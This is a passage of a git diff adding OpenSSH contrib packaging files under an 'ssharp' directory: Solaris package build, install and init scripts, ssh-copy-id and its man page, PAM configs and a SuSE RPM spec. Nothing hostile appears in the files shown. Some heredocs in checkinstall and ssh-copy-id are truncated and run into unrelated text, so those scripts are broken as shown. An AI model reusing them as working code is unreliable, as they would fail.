+else + if [ "$INSTROOT" = "/opt" ]; then + SHORTINSTROOT="-opt" + fi +fi + +DESTFILE="${PKGNAME}-${VERSION}-sol${OSVERSION}-${ARCH}${SHORTINSTROOT}" + +echo "Building Solaris package of OpenSSH ${VERSION} in\n\t${BUILDDIR}." +echo "Binaries were compiled for Solaris ${OSVERSION} (${ARCH})" +echo "The installable package will be named ${DESTFILE}." +echo "When installed, the package will be located under ${INSTROOT}." +echo "" + +echo "Cleaning up old build files..." +rm -rf $BUILDDIR +mkdir $BUILDDIR +cd $BUILDDIR + +echo "Setting up build directories..." +mkdir -p ${BUILDDIR}/man/man1 +# Need manpages for sshd_config(5) and ssh_config(5), but we don't yet have. +#mkdir -p ${BUILDDIR}/man/man5 +mkdir -p ${BUILDDIR}/man/man8 +mkdir -p ${BUILDDIR}/etc +mkdir -p ${BUILDDIR}/bin +mkdir -p ${BUILDDIR}/sbin + +echo "Populating build directories..." +cp -p ../../../sshd sbin +cp -p ../../../ssh-keygen bin +cp -p ../../../ssh bin +cp -p ../../../ssh-add bin +cp -p ../../../ssh-agent bin +cp -p ../../../scp bin +cp -p ../../../scp.1 man/man1/scp.1 +cp -p ../../../ssh-add.1 man/man1/ssh-add.1 +cp -p ../../../ssh-agent.1 man/man1/ssh-agent.1 +cp -p ../../../ssh-keygen.1 man/man1/ssh-keygen.1 +cp -p ../../../ssh.1 man/man1/ssh.1 +cp -p ../../../sshd.8 man/man8/sshd.8 +cp -p ../../../sshd_config.out etc/sshd_config.default +cp -p ../../../ssh_config.out etc/ssh_config.default +cp -p ../../../ssh_prng_cmds etc/ssh_prng_cmds.default +cp -p ../../../primes etc/primes.default + +# One of the annoying things about the Solaris packaging process is that +# there's no simple way to prototype on the fly--so make sure you edit +# the prototype file if you add/subtract files from the mix. +cp -p ../prototype . +cp -p ../preremove . + +echo "Creating compile-dependent files from their prototypes" +$SED -e "s/%%PKGNAME%%/${PKGNAME}/g" -e "s|%%BASEDIR%%|${INSTROOT}|g" -e "s/%%VERSION%%/${VERSION}/g" -e "s/%%ARCH%%/${ARCH}/g" -e "s/%%OSVERSION%%/${OSVERSION}/g" <../pkginfo.in >./pkginfo +$SED -e "s/%%PKGNAME%%/${PKGNAME}/g" -e "s/%%OSMINOR%%/${OSMINOR}/g" -e "s/%%OSVERSION%%/${OSVERSION}/g" <../checkinstall.in >./checkinstall +$SED -e "s|%%PIDDIR%%|${PIDDIR}|g" <../postinstall.in >./postinstall +$SED -e "s|%%PIDDIR%%|${PIDDIR}|g" <../sshd-initscript.in > etc/sshd-initscript + +echo "Stripping binaries" +${STRIP} bin/ssh +${STRIP} bin/ssh-add +${STRIP} bin/ssh-agent +${STRIP} bin/ssh-keygen +${STRIP} sbin/sshd +${STRIP} bin/scp + +echo "" +echo "Building Package" + +cd ${BUILDDIR} +$PKGMK -o -r . -p ${PSTAMP} -d ${BUILDDIR} + +if [ $? -gt 0 ]; then + echo "Error performing pkgmk--cannot continue." + exit 1 +fi + +echo "" +echo "Translating Package Tree into Installable Image" +$PKGTRANS -s ${BUILDDIR} ${BUILDDIR}/${DESTFILE} OPENssh + +if [ $? -gt 0 ]; then + echo "Error performing pkgtrans--cannot continue." + exit 1 +fi + +echo "Done. Package is in ${BUILDDIR}/${DESTFILE} !" diff --git a/other/ssharp/contrib/solaris/checkinstall.in b/other/ssharp/contrib/solaris/checkinstall.in new file mode 100644 index 0000000..3757193 --- /dev/null +++ b/other/ssharp/contrib/solaris/checkinstall.in @@ -0,0 +1,37 @@ +#!/bin/sh +echo "Checking SunOS revision..." +MINOR=`/bin/uname -r | /bin/cut -d "." -f 2` +if [ ${MINOR} -lt %%OSMINOR%% ]; then + echo "This package was created on Solaris %%OSVERSION%%, and will probably" + echo " not function correctly on older versions of Solaris." + echo "** Unable to continue. **" + exit 3 +fi +echo "\t...revision okay." + +echo "Checking for existing SSH installation..." +if [ -f /etc/sshd_config -o -f /usr/local/etc/sshd_config ]; then + UPDATE=1 +fi +if [ -f /etc/ssh_host_key -o -f /usr/local/etc/ssh_host_key ]; then + UPDATE=1 +fi + +if [ ${UPDATE} -eq 1 ]; then + echo "Performing an \"update\" installation of %%PKGNAME%%" +else + echo "Performing a \"fresh\" installation of %%PKGNAME%%" +fi +echo "" + +# We derive these at install time in case the package is relocated. +CONFDIR="${BASEDIR}/etc" +DESTBIN="${BASEDIR}/bin" + +# make parameters available to installation service, and +# so to any other packaging scripts +cat >$1 <" +PKGINST=%%PKGNAME%% +PKGSAV=/var/sadm/pkg/%%PKGNAME%%/save +ISTATES="S s 1 2 3" +RSTATES="S s 1 2 3" +UPDATE=0 diff --git a/other/ssharp/contrib/solaris/postinstall.in b/other/ssharp/contrib/solaris/postinstall.in new file mode 100644 index 0000000..6f2c9b3 --- /dev/null +++ b/other/ssharp/contrib/solaris/postinstall.in @@ -0,0 +1,203 @@ +# PostInstall script for OPENssh +INSTALLF="/usr/sbin/installf" + +instbackup() { + _DIRECTORY=$1 + _FILEBASE=$2 + $INSTALLF $PKGINST ${_DIRECTORY}/${_FILEBASE} + _SUFFIX=`/usr/bin/date +%Y-%m-%d-%H%M` + if [ -f ${_DIRECTORY}/${_FILEBASE} ]; then + echo " Backing up file ${_FILEBASE}..." + if [ -f ${_DIRECTORY}/${_FILEBASE}.orig ]; then + $INSTALLF $PKGINST ${_DIRECTORY}/${_FILEBASE}.orig.${_SUFFIX} + cp -p ${_DIRECTORY}/${_FILEBASE} ${_DIRECTORY}/${_FILEBASE}.orig.${_SUFFIX} + echo " Saved as ${_DIRECTORY}/${_FILEBASE}.orig.${_SUFFIX}." + else + $INSTALLF $PKGINST ${_DIRECTORY}/${_FILEBASE}.orig + cp -p ${_DIRECTORY}/${_FILEBASE} ${_DIRECTORY}/${_FILEBASE}.orig + echo " Saved as ${_DIRECTORY}/${_FILEBASE}.orig." + fi + fi + cp -p ${_DIRECTORY}/${_FILEBASE}.default ${_DIRECTORY}/${_FILEBASE} + echo "Installed new ${_DIRECTORY}/${_FILEBASE} configuration file." +} + +### Main body of script + +echo "" +echo "Beginning postinstall script--this script should leave you with a" +echo "functional and operational configuration of OpenSSH." +echo "" + +if [ ! "${UPDATE}" = "1" ]; then + echo "Performing a \"fresh\" installation of OpenSSH." + ### Install init script and create symlinks + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/init.d/sshd f 0500 root sys || exit 2 + cp -p ${CONFDIR}/sshd-initscript ${PKG_INSTALL_ROOT}/etc/init.d/sshd + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/rc2.d/S72local_sshd=/etc/init.d/sshd s || exit 2 + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/rc1.d/K30local_sshd=/etc/init.d/sshd s || exit 2 + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/rc0.d/K30local_sshd=/etc/init.d/sshd s || exit 2 + + ### The initial package installation leaves default versions of + ### ssh_prng_cmds, ssh_config, and sshd_config in ${CONFDIR}. Now + ### we need to decide whether to install them. Since this is *not* + ### an update install, we don't ask, but simply back up the old ones + ### and put the new ones in their place. + instbackup ${CONFDIR} ssh_prng_cmds + instbackup ${CONFDIR} ssh_config + instbackup ${CONFDIR} sshd_config + instbackup ${CONFDIR} primes + + ### If no existing sshd_config and host key, then create + if [ ! -f "${CONFDIR}/ssh_host_key" ]; then + echo "Creating new RSA public/private host key pair for SSH-1." + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_key + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_key.pub + ### If there is *anything* there then leave it, otherwise look + ### in some reasonable alternate locations before giving up. + ### It's worth spending some extra time looking for the old one + ### to avoid a bunch of "host identification has changed" warnings. + ### Note that some old keys from the commercial SSH might not + ### be compatible, but we don't test for that. + if [ -f "${PKG_INSTALL_ROOT}/etc/ssh_host_key" ]; then + mv ${PKG_INSTALL_ROOT}/etc/ssh_host_key ${CONFDIR} + elif [ -f "${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_key" ]; then + mv ${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_key ${CONFDIR} + else + ${DESTBIN}/ssh-keygen -b 1024 -f ${CONFDIR}/ssh_host_key -N '' + fi + else + echo "Using existing RSA public/private host key pair for SSH-1." + fi + if [ ! -f "${CONFDIR}/ssh_host_dsa_key" ]; then + echo "Creating new DSA public/private host key pair for SSH-2." + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_dsa_key + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_dsa_key.pub + ### If there is *anything* there then leave it, otherwise look + ### in some reasonable alternate locations before giving up. + ### It's worth spending some extra time looking for the old one + ### to avoid a bunch of "host identification has changed" warnings. + ### Note that some old keys from the commercial SSH2 might not + ### be compatible, but we don't test for that. + if [ -f "${PKG_INSTALL_ROOT}/etc/ssh_host_dsa_key" ]; then + mv ${PKG_INSTALL_ROOT}/etc/ssh_host_dsa_key ${CONFDIR} + elif [ -f "${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_dsa_key" ]; then + mv ${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_dsa_key ${CONFDIR} + else + ${DESTBIN}/ssh-keygen -d -f ${CONFDIR}/ssh_host_dsa_key -N '' + fi + else + echo "Using existing DSA public/private host key pair for SSH-2." + fi +else + echo "Performing an \"update\" installation of OpenSSH." + ### Okay, this part *is* an update install...so we need to ensure + ### we don't overwrite any of the existing files. + + ### Install init script and create symlinks + if [ ! -f ${PKG_INSTALL_ROOT}/etc/init.d/sshd ]; then + echo "Installing init script in ${PKG_INSTALL_ROOT}/etc/init.d/sshd" + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/init.d/sshd || exit 2 + cp -p ${CONFDIR}/sshd-initscript ${PKG_INSTALL_ROOT}/etc/init.d/sshd + chown root:root ${PKG_INSTALL_ROOT}/etc/init.d/sshd + chmod 500 ${PKG_INSTALL_ROOT}/etc/init.d/sshd + fi + if [ ! -r ${PKG_INSTALL_ROOT}/etc/rc2.d/S72local_sshd ]; then + $INSTALLF $PKGINST ${PKG_INSTALL_ROOT}/etc/rc2.d/S72local_sshd=/etc/init.d/sshd s || exit 2 + fi + if [ ! -r ${PKG_INSTALL_ROOT}/etc/rc2.d/K30local_sshd ]; then + $INSTALLF $PKGINST /etc/rc0.d/K30local_sshd=/etc/init.d/sshd s || exit 2 + fi + + ### The initial package installation leaves default versions of + ### ssh_prng_cmds, ssh_config, and sshd_config in ${CONFDIR}. Now + ### we need to decide whether to install them. Since this is + ### an update install, we only install the new files if the old + ### files somehow don't exist. + NEWCONF=0 + if [ ! -r "${CONFDIR}/ssh_prng_cmds" ]; then + instbackup ${CONFDIR} ssh_prng_cmds + NEWCONF=1 + fi + if [ ! -r "${CONFDIR}/ssh_config" ]; then + instbackup ${CONFDIR} ssh_config + NEWCONF=1 + fi + if [ ! -r "${CONFDIR}/sshd_config" ]; then + instbackup ${CONFDIR} sshd_config + NEWCONF=1 + fi + if [ ! -r "${CONFDIR}/primes" ]; then + instbackup ${CONFDIR} primes + NEWCONF=1 + fi + if [ $NEWCONF -eq 0 ]; then + echo "Your existing SSH configuration files have not been altered." + else + echo "Your other existing SSH configuration files have not been altered." + fi + + ### If no existing sshd_config and host key, then create + if [ ! -f "${CONFDIR}/ssh_host_key" ]; then + echo "Creating new RSA public/private host key pair for SSH-1." + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_key + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_key.pub + ### If there is *anything* there then leave it, otherwise look + ### in some reasonable alternate locations before giving up. + ### It's worth spending some extra time looking for the old one + ### to avoid a bunch of "host identification has changed" warnings. + ### Note that some old keys from the commercial SSH might not + ### be compatible, but we don't test for that. + if [ -f "${PKG_INSTALL_ROOT}/etc/ssh_host_key" ]; then + mv ${PKG_INSTALL_ROOT}/etc/ssh_host_key ${CONFDIR} + elif [ -f "${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_key" ]; then + mv ${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_key ${CONFDIR} + else + ${DESTBIN}/ssh-keygen -b 1024 -f ${CONFDIR}/ssh_host_key -N '' + fi + else + echo "Using existing RSA public/private host key pair for SSH-1." + fi + if [ ! -f "${CONFDIR}/ssh_host_dsa_key" ]; then + echo "Creating new DSA public/private host key pair for SSH-2." + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_dsa_key + $INSTALLF $PKGINST ${CONFDIR}/ssh_host_dsa_key.pub + ### If there is *anything* there then leave it, otherwise look + ### in some reasonable alternate locations before giving up. + ### It's worth spending some extra time looking for the old one + ### to avoid a bunch of "host identification has changed" warnings. + ### Note that some old keys from the commercial SSH2 might not + ### be compatible, but we don't test for that. + if [ -f "${PKG_INSTALL_ROOT}/etc/ssh_host_dsa_key" ]; then + mv ${PKG_INSTALL_ROOT}/etc/ssh_host_dsa_key ${CONFDIR} + elif [ -f "${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_dsa_key" ]; then + mv ${PKG_INSTALL_ROOT}/usr/local/etc/ssh_host_dsa_key ${CONFDIR} + else + ${DESTBIN}/ssh-keygen -d -f ${CONFDIR}/ssh_host_dsa_key -N '' + fi + else + echo "Using existing DSA public/private host key pair for SSH-2." + fi +fi + +if [ ! -d %%PIDDIR%% ]; then + $INSTALLF $PKGINST %%PIDDIR%% + mkdir -p %%PIDDIR%% + chown root:sys %%PIDDIR%% + chmod 755 %%PIDDIR%% +fi + +$INSTALLF -f $PKGINST || exit 2 + +if [ "X${PKG_INSTALL_ROOT}" = "X" ]; then + ### We're doing a local install, rather than an install for + ### old-style diskless clients. + echo "Stopping any current sshd process, and then starting the new sshd." + /etc/init.d/sshd stop + /etc/init.d/sshd start +else + echo "Not restarting sshd, since this appears to be a remote install" + echo "for support of diskless clients." +fi + +exit 0 diff --git a/other/ssharp/contrib/solaris/preremove b/other/ssharp/contrib/solaris/preremove new file mode 100644 index 0000000..701c8c5 --- /dev/null +++ b/other/ssharp/contrib/solaris/preremove @@ -0,0 +1,2 @@ +# pre-removal script for OPENssh +/etc/init.d/sshd stop diff --git a/other/ssharp/contrib/solaris/prototype b/other/ssharp/contrib/solaris/prototype new file mode 100644 index 0000000..422b4aa --- /dev/null +++ b/other/ssharp/contrib/solaris/prototype @@ -0,0 +1,27 @@ +i pkginfo +i checkinstall +i postinstall +i preremove +d none man 0755 root sys +d none man/man1 0755 root sys +f none man/man1/scp.1 0644 root sys +f none man/man1/ssh-add.1 0644 root sys +f none man/man1/ssh-agent.1 0644 root sys +f none man/man1/ssh-keygen.1 0644 root sys +f none man/man1/ssh.1 0644 root sys +d none man/man8 0755 root sys +f none man/man8/sshd.8 0644 root sys +d none etc 0755 root sys +f none etc/sshd_config.default 0644 root sys +f none etc/ssh_config.default 0644 root sys +f none etc/ssh_prng_cmds.default 0644 root sys +f none etc/primes.default 0644 root sys +f none etc/sshd-initscript 0755 root sys +d none bin 0755 root sys +f none bin/ssh-keygen 0755 root sys +f none bin/ssh 0755 root sys +f none bin/ssh-add 0755 root sys +f none bin/ssh-agent 0755 root sys +f none bin/scp 0755 root sys +d none sbin 0755 root sys +f none sbin/sshd 0755 root sys diff --git a/other/ssharp/contrib/solaris/sshd-initscript.in b/other/ssharp/contrib/solaris/sshd-initscript.in new file mode 100755 index 0000000..886a51f --- /dev/null +++ b/other/ssharp/contrib/solaris/sshd-initscript.in @@ -0,0 +1,50 @@ +#! /sbin/sh + +# SSHd startup/shutdown script, based on uucp script. + +PIDFILE="%%PIDDIR%%/sshd.pid" +PGREP="/usr/bin/pgrep" +HEAD="/usr/bin/head" +XARGS="/usr/bin/xargs" +KILL="/usr/bin/kill" + +killproc() { + _procname=$1 + _signal=$2 + ${PGREP} ${_procname} | ${HEAD} -1 | ${XARGS} -t -I {} ${KILL} -${_signal} {} +} + +case $1 in +'start') + /usr/local/sbin/sshd + ;; + +'stop') + if [ -r $PIDFILE -a ! -z ${PIDFILE} ]; then + PID=`cat ${PIDFILE}` + fi + if [ ${PID:=0} -gt 1 -a ! "X$PID" = "X " ]; then + /usr/bin/kill $PID + else + echo "Unable to read PID file, killing using alternate method" + killproc sshd TERM + fi + ;; + +'restart') + if [ -r $PIDFILE -a ! -z ${PIDFILE} ]; then + PID=`cat ${PIDFILE}` + fi + if [ ${PID:=0} -gt 1 -a ! "X$PID" = "X " ]; then + /usr/bin/kill -HUP $PID + else + echo "Unable to read PID file, trying alternate method" + killproc sshd HUP + /usr/local/sbin/sshd + fi + ;; + +*) + echo "usage: /etc/init.d/sshd {start|stop|restart}" + ;; +esac diff --git a/other/ssharp/contrib/ssh-copy-id b/other/ssharp/contrib/ssh-copy-id new file mode 100644 index 0000000..0ab37ca --- /dev/null +++ b/other/ssharp/contrib/ssh-copy-id @@ -0,0 +1,45 @@ +#!/bin/sh + +# Shell script to install your identity.pub on a remote machine +# Takes the remote machine name as an argument. +# Obviously, the remote machine must accept password authentication, +# or one of the other keys in your ssh-agent, for this to work. + +ID_FILE="${HOME}/.ssh/identity.pub" + +if [ "-i" = "$1" ]; then + shift + # check if we have 2 parameters left, if so the first is the new ID file + if [ -n "$2" ]; then + if expr "$1" : ".*\.pub" ; then + ID_FILE="$1" + else + ID_FILE="$1.pub" + fi + shift # and this should leave $1 as the target name + fi +else + if [ x$SSH_AUTH_SOCK != x ] ; then + GET_ID="$GET_ID ssh-add -L" + fi +fi + +if [ -z "`eval $GET_ID`" -a -r "${ID_FILE}" ] ; then + GET_ID="cat ${ID_FILE}" +fi + +if [ -z "`eval $GET_ID`" ]; then + echo "$0: ERROR: No identities found" + exit 1 +fi + +{ eval "$GET_ID" ; } | ssh $1 "test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys ; chmod g-w . .ssh .ssh/authorized_keys" + +cat < + +Permission is granted to make and distribute verbatim copies of +this manual provided the copyright notice and this permission notice +are preserved on all copies. + +Permission is granted to copy and distribute modified versions of this +manual under the conditions for verbatim copying, provided that the +entire resulting derived work is distributed under the terms of a +permission notice identical to this one. + +Permission is granted to copy and distribute translations of this +manual into another language, under the above conditions for modified +versions, except that this permission notice may be included in +translations approved by the Free Software Foundation instead of in +the original English. +.. +.TH SSH-COPY-ID 1 "14 November 1999" "OpenSSH" +.SH NAME +ssh-copy-id \- install your identity.pub in a remote machine's authorized_keys +.SH SYNOPSIS +.B ssh-copy-id [-i [identity_file]] +.I "[user@]machine" +.br +.SH DESCRIPTION +.BR ssh-copy-id +is a script that uses ssh to log into a remote machine (presumably +using a login password, so password authentication should be enabled, +unless you've done some clever use of multiple identities) +.PP +It also changes the permissions of the remote user's home, +.BR ~/.ssh , +and +.B ~/.ssh/authorized_keys +to remove group writability (which would otherwise prevent you from logging in, if the remote +.B sshd +has +.B StrictModes +set in its configuration). +.PP +If the +.B -i +option is given then the identity file (defaults to +.BR ~/.ssh/identity.pub ) +is used, regardless of whether there are any keys in your +.BR ssh-agent . +Otherwise, if this: +.PP +.B " ssh-add -L" +.PP +provides any output, it uses that in preference to the identity file. +.PP +If the +.B -i +option is used, or the +.B ssh-add +produced no output, then it uses the contents of the identity +file. Once it has one or more fingerprints (by whatever means) it +uses ssh to append them to +.B ~/.ssh/authorized_keys +on the remote machine (creating the file, and directory, if necessary) + +.SH "SEE ALSO" +.BR ssh (1), +.BR ssh-agent (1), +.BR sshd (8) diff --git a/other/ssharp/contrib/sshd.pam.freebsd b/other/ssharp/contrib/sshd.pam.freebsd new file mode 100644 index 0000000..c0bc364 --- /dev/null +++ b/other/ssharp/contrib/sshd.pam.freebsd @@ -0,0 +1,5 @@ +sshd auth required pam_unix.so try_first_pass +sshd account required pam_unix.so +sshd password required pam_permit.so +sshd session required pam_permit.so + diff --git a/other/ssharp/contrib/sshd.pam.generic b/other/ssharp/contrib/sshd.pam.generic new file mode 100644 index 0000000..cf5af30 --- /dev/null +++ b/other/ssharp/contrib/sshd.pam.generic @@ -0,0 +1,8 @@ +#%PAM-1.0 +auth required /lib/security/pam_unix.so shadow nodelay +auth required /lib/security/pam_nologin.so +account required /lib/security/pam_unix.so +password required /lib/security/pam_cracklib.so +password required /lib/security/pam_unix.so shadow nullok use_authtok +session required /lib/security/pam_unix.so +session required /lib/security/pam_limits.so diff --git a/other/ssharp/contrib/suse/CVS/Entries b/other/ssharp/contrib/suse/CVS/Entries new file mode 100644 index 0000000..dcaf44c --- /dev/null +++ b/other/ssharp/contrib/suse/CVS/Entries @@ -0,0 +1,4 @@ +/openssh.spec/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rc.config.sshd/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +/rc.sshd/1.1.1.1/Wed Sep 19 14:44:59 2001//Trel-0-51 +D diff --git a/other/ssharp/contrib/suse/CVS/Repository b/other/ssharp/contrib/suse/CVS/Repository new file mode 100644 index 0000000..81a757f --- /dev/null +++ b/other/ssharp/contrib/suse/CVS/Repository @@ -0,0 +1 @@ +ssharp/contrib/suse diff --git a/other/ssharp/contrib/suse/CVS/Root b/other/ssharp/contrib/suse/CVS/Root new file mode 100644 index 0000000..3811072 --- /dev/null +++ b/other/ssharp/contrib/suse/CVS/Root @@ -0,0 +1 @@ +/cvs diff --git a/other/ssharp/contrib/suse/CVS/Tag b/other/ssharp/contrib/suse/CVS/Tag new file mode 100644 index 0000000..00329bf --- /dev/null +++ b/other/ssharp/contrib/suse/CVS/Tag @@ -0,0 +1 @@ +Nrel-0-51 diff --git a/other/ssharp/contrib/suse/openssh.spec b/other/ssharp/contrib/suse/openssh.spec new file mode 100644 index 0000000..4075d4f --- /dev/null +++ b/other/ssharp/contrib/suse/openssh.spec @@ -0,0 +1,198 @@ +Summary: OpenSSH, a free Secure Shell (SSH) implementation +Name: openssh +Version: 2.9p1 +URL: http://www.openssh.com/ +Release: 1 +Source0: openssh-%{version}.tar.gz +Copyright: BSD +Group: Applications/Internet +BuildRoot: /tmp/openssh-%{version}-buildroot +PreReq: openssl +Obsoletes: ssh +# +# (Build[ing] Prereq[uisites] only work for RPM 2.95 and newer.) +# building prerequisites -- stuff for +# OpenSSL (openssl-devel), +# TCP Wrappers (nkitb), +# and Gnome (glibdev, gtkdev, and gnlibsd) +# +BuildPrereq: openssl +BuildPrereq: nkitb +BuildPrereq: glibdev +BuildPrereq: gtkdev +BuildPrereq: gnlibsd + +%description +Ssh (Secure Shell) a program for logging into a remote machine and for +executing commands in a remote machine. It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. + +OpenSSH is OpenBSD's rework of the last free version of SSH, bringing it +up to date in terms of security and features, as well as removing all +patented algorithms to seperate libraries (OpenSSL). + +This package includes all files necessary for both the OpenSSH +client and server. Additionally, this package contains the GNOME +passphrase dialog. + +%changelog +* Mon Jun 12 2000 Damien Miller +- Glob manpages to catch compressed files +* Wed Mar 15 2000 Damien Miller +- Updated for new location +- Updated for new gnome-ssh-askpass build +* Sun Dec 26 1999 Chris Saia +- Made symlink to gnome-ssh-askpass called ssh-askpass +* Wed Nov 24 1999 Chris Saia +- Removed patches that included /etc/pam.d/sshd, /sbin/init.d/rc.sshd, and + /var/adm/fillup-templates/rc.config.sshd, since Damien merged these into + his released tarfile +- Changed permissions on ssh_config in the install procedure to 644 from 600 + even though it was correct in the %files section and thus right in the RPMs +- Postinstall script for the server now only prints "Generating SSH host + key..." if we need to actually do this, in order to eliminate a confusing + message if an SSH host key is already in place +- Marked all manual pages as %doc(umentation) +* Mon Nov 22 1999 Chris Saia +- Added flag to configure daemon with TCP Wrappers support +- Added building prerequisites (works in RPM 3.0 and newer) +* Thu Nov 18 1999 Chris Saia +- Made this package correct for SuSE. +- Changed instances of pam_pwdb.so to pam_unix.so, since it works more properly + with SuSE, and lib_pwdb.so isn't installed by default. +* Mon Nov 15 1999 Damien Miller +- Split subpackages further based on patch from jim knoble +* Sat Nov 13 1999 Damien Miller +- Added 'Obsoletes' directives +* Tue Nov 09 1999 Damien Miller +- Use make install +- Subpackages +* Mon Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + +%prep + +%setup -q + +%build +CFLAGS="$RPM_OPT_FLAGS" \ +./configure --prefix=/usr \ + --sysconfdir=/etc/ssh \ + --with-pam \ + --with-gnome-askpass \ + --with-tcp-wrappers \ + --with-ipv4-default \ + --libexecdir=/usr/lib/ssh +make + +cd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +cd .. + +%install +rm -rf $RPM_BUILD_ROOT +make install DESTDIR=$RPM_BUILD_ROOT/ +install -d $RPM_BUILD_ROOT/etc/ssh/ +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/sbin/init.d/ +install -d $RPM_BUILD_ROOT/var/adm/fillup-templates +install -d $RPM_BUILD_ROOT/usr/lib/ssh +install -m644 contrib/sshd.pam.generic $RPM_BUILD_ROOT/etc/pam.d/sshd +install -m744 contrib/suse/rc.sshd $RPM_BUILD_ROOT/sbin/init.d/sshd +ln -s ../../sbin/init.d/sshd $RPM_BUILD_ROOT/usr/sbin/rcsshd +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT/usr/lib/ssh/gnome-ssh-askpass +ln -s gnome-ssh-askpass $RPM_BUILD_ROOT/usr/lib/ssh/ssh-askpass +install -m744 contrib/suse/rc.config.sshd \ + $RPM_BUILD_ROOT/var/adm/fillup-templates + +%clean +rm -rf $RPM_BUILD_ROOT + +%post +if [ "$1" = 1 ]; then + echo "Creating SSH stop/start scripts in the rc directories..." + ln -s ../sshd /sbin/init.d/rc2.d/K20sshd + ln -s ../sshd /sbin/init.d/rc2.d/S20sshd + ln -s ../sshd /sbin/init.d/rc3.d/K20sshd + ln -s ../sshd /sbin/init.d/rc3.d/S20sshd +fi +echo "Updating /etc/rc.config..." +if [ -x /bin/fillup ] ; then + /bin/fillup -q -d = etc/rc.config var/adm/fillup-templates/rc.config.sshd +else + echo "ERROR: fillup not found. This should NOT happen in SuSE Linux." + echo "Update /etc/rc.config by hand from the following template file:" + echo " /var/adm/fillup-templates/rc.config.sshd" +fi +if [ ! -f /etc/ssh/ssh_host_key -o ! -s /etc/ssh/ssh_host_key ]; then + echo "Generating SSH host key..." + /usr/bin/ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N '' >&2 +fi +if [ ! -f /etc/ssh/ssh_host_dsa_key -o ! -s /etc/ssh/ssh_host_dsa_key ]; then + echo "Generating SSH DSA host key..." + /usr/bin/ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N '' >&2 +fi +if test -r /var/run/sshd.pid +then + echo "Restarting the running SSH daemon..." + /usr/sbin/rcsshd restart >&2 +fi + +%preun +if [ "$1" = 0 ] +then + echo "Stopping the SSH daemon..." + /usr/sbin/rcsshd stop >&2 + echo "Removing SSH stop/start scripts from the rc directories..." + rm /sbin/init.d/rc2.d/K20sshd + rm /sbin/init.d/rc2.d/S20sshd + rm /sbin/init.d/rc3.d/K20sshd + rm /sbin/init.d/rc3.d/S20sshd +fi + +%files +%defattr(-,root,root) +%doc ChangeLog OVERVIEW README* +%doc RFC.nroff TODO CREDITS LICENSE +%attr(0755,root,root) %dir /etc/ssh +%attr(0644,root,root) %config /etc/ssh/ssh_config +%attr(0600,root,root) %config /etc/ssh/sshd_config +%attr(0600,root,root) %config /etc/ssh/primes +%attr(0644,root,root) %config /etc/pam.d/sshd +%attr(0755,root,root) %config /sbin/init.d/sshd +%attr(0755,root,root) /usr/bin/ssh-keygen +%attr(0755,root,root) /usr/bin/scp +%attr(4755,root,root) /usr/bin/ssh +%attr(-,root,root) /usr/bin/slogin +%attr(0755,root,root) /usr/bin/ssh-agent +%attr(0755,root,root) /usr/bin/ssh-add +%attr(0755,root,root) /usr/bin/ssh-keyscan +%attr(0755,root,root) /usr/bin/sftp +%attr(0755,root,root) /usr/sbin/sshd +%attr(-,root,root) /usr/sbin/rcsshd +%attr(0755,root,root) %dir /usr/lib/ssh +%attr(0755,root,root) /usr/lib/ssh/ssh-askpass +%attr(0755,root,root) /usr/lib/ssh/gnome-ssh-askpass +%attr(0644,root,root) %doc /usr/man/man1/scp.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh.1* +%attr(-,root,root) %doc /usr/man/man1/slogin.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-agent.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-add.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-keygen.1* +%attr(0644,root,root) %doc /usr/man/man8/sshd.8* +%attr(0644,root,root) /var/adm/fillup-templates/rc.config.sshd + diff --git a/other/ssharp/contrib/suse/rc.config.sshd b/other/ssharp/contrib/suse/rc.config.sshd new file mode 100644 index 0000000..baaa7a5 --- /dev/null +++ b/other/ssharp/contrib/suse/rc.config.sshd @@ -0,0 +1,5 @@ +# +# Start the Secure Shell (SSH) Daemon? +# +START_SSHD="yes" + diff --git a/other/ssharp/contrib/suse/rc.sshd b/other/ssharp/contrib/suse/rc.sshd new file mode 100644 index 0000000..f7d431e --- /dev/null +++ b/other/ssharp/contrib/suse/rc.sshd @@ -0,0 +1,80 @@ +#! /bin/sh +# Copyright (c) 1995-1998 SuSE GmbH Nuernberg, Germany. +# +# Author: Chris Saia +# +# /sbin/init.d/sshd +# +# and symbolic its link 